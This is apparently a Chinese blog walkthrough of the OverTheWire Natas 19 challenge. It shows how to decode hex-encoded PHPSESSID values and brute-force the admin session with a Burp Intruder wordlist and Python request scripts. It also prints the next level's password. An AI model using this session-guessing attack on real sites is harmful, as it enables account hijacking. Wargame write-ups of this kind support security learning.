Natas19:

提示,与上一题源码类似,只是PHPSESSID不连续。随便输入username和password,抓包观察PHPSESSID,发现是输入的信息,按照id-username的格式,由ascill码转化为16进制,猜测正确PHPSESSID,应该是id-admin,用python构造字典,burp抓包后使用intruder模块,导入字典后进行暴力破解。

方法1:burp破解

1.抓包得到PHPSESSID=3436322d61646d696e

2.将PHPSESSID进行ASCII hex解码(ascill码转化为16进制),发现其值为id-username格式。可以多次抓包尝试,根据结果猜测正确PHPSESSID,应该是id-admin。

3.由于-admin对应的十六进制是2d61646d696e不变,因此我们只需要构造前面的id对应的十六进制即可。0-9十个十位数对应的十六进制为30-39,我们用python构造字典。

字典脚本(生成数字001-699的16进制):

a = []
for i in range(30,37):
for j in range(30,40):
for k in range(30,40):
a.append( '%d%d%d'%(i,j,k))
with open ("1.txt","w") as f:
for i in a:
f.write(i+"\n")

由于前100个id是0-99而不是000-099,我们使用notpad++手动将前100个id生成的16进制数前面的30去掉,得到最终的字典。


1.txt

字典进阶:

上面生成字典的方法太麻烦了,下面脚本可以帮助我们直接生成PHPSESSID值的字典。

Python2.x脚本

# coding=utf-8
import binascii
a = []
for i in range(641):
k=binascii.hexlify(str(i))+"2d61646d696e"
a.append(k)
with open ("1.txt","w") as f:
for i in a:
f.write(i+"\n") # python中,函数 hexlify 作用是返回的二进制数据的十六进制表示。
# 每个字节的数据转换成相应的 2 位十六进制表示。因此产生的字符串是原数据的两倍长度。
# unhexlify 则执行反向操作。

Python3.x脚本:

# coding=utf-8
import binascii
a = []
for i in range(641):
k=binascii.hexlify(bytes(str(i).encode()))+b"2d61646d696e"
a.append(k.decode())
with open ("1.txt","w") as f:
for i in a:
f.write(i+"\n")

关于Python2和Python3的字符编码与界解码问题,看这里

4.下面使用burp开始爆破:

如上图,这个正确结果的length比较特别,既不是所有结果中最长的,也不是最短的,而是一个中间数。我是第一次遇到这种情况,害我找了半天。

另外,如果不想使用python生成脚本,可以直接使用burp的intruder模块中的Cluster bomb模式,将PHPSESSID值的前六位数做3个payload配置,进行爆破。

得到flag:

You are an admin. The credentials for the next level are:
Username: natas20
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

方法2:python破解

# coding=utf-8
import requests
import binascii url = "http://natas19.natas.labs.overthewire.org/"
payload = {"username":"admin","password":"123"} for i in range(640):
headers = {"Cookie":"PHPSESSID="+binascii.hexlify(str(i))+"2d61646d696e","Authorization":"Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw=="}
req = requests.post(url,params=payload,headers=headers)
if "You are logged in as a regular user" in req.text:
# print(i) #打印i,查看进度
continue
else:
print(i)
print(req.text)
exit()

flag:eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

缺点:速度太慢了,可以考虑使用多线程

参考:

https://www.cnblogs.com/ichunqiu/p/9554885.html
https://www.cnblogs.com/liqiuhao/p/6859052.html

最新文章

  1. 160809228_符瑞艺_C语言程序设计实验3 循环结构程序设计
  2. HTML5所有标签汇总按功能
  3. 【转】Eclipse+PyDev 安装和配置
  4. VMware虚拟机中设置端口映射(转载)
  5. oracle日期格式数据修改
  6. ExtJs + Struts2 + JSON
  7. jquery1.9学习笔记 之层级选择器(二)
  8. 通过bootloader向内核传输启动参数
  9. 三十天学不会TCP,UDP/IP网络编程-IP头格式祥述
  10. [LeetCode] Pour Water 倒水
  11. AI时代大点兵-国内外知名AI公司2018年最新盘点
  12. mac电脑上不能用移动硬盘的原因和方法
  13. vb.net 多线程運用 ping
  14. cf245H Queries for Number of Palindromes (manacher+dp)
  15. ORM(二)
  16. 集齐所有机制的按键控制LED驱动
  17. Python+Selenium学习--alert/confirm/prompt 处理
  18. ChibiOS/RT 2.6.9 CAN Low Level Driver for STM32
  19. 命名实体识别(NER)
  20. [svc][op]vim自动添加注释

热门文章

  1. 18.09.22模拟赛T2 历史
  2. Python如何让字典保持有序
  3. Tp5安全篇入门
  4. lsync+rsync 实时同步(ubuntu16.04系统)
  5. 机器学习技法笔记(2)-Linear SVM
  6. 为何滴滴会走Uber之路,研发无人驾驶?
  7. JS实现总价随数量变化而变化(顾客购买商品表单)
  8. Git 程序员篇
  9. 一文看懂js中的clientX,clientY,pageX,pageY,screenX,screenY
  10. 前端每日实战:119# 视频演示如何用纯 CSS 创作一个接扎啤的动画(内含2个视频)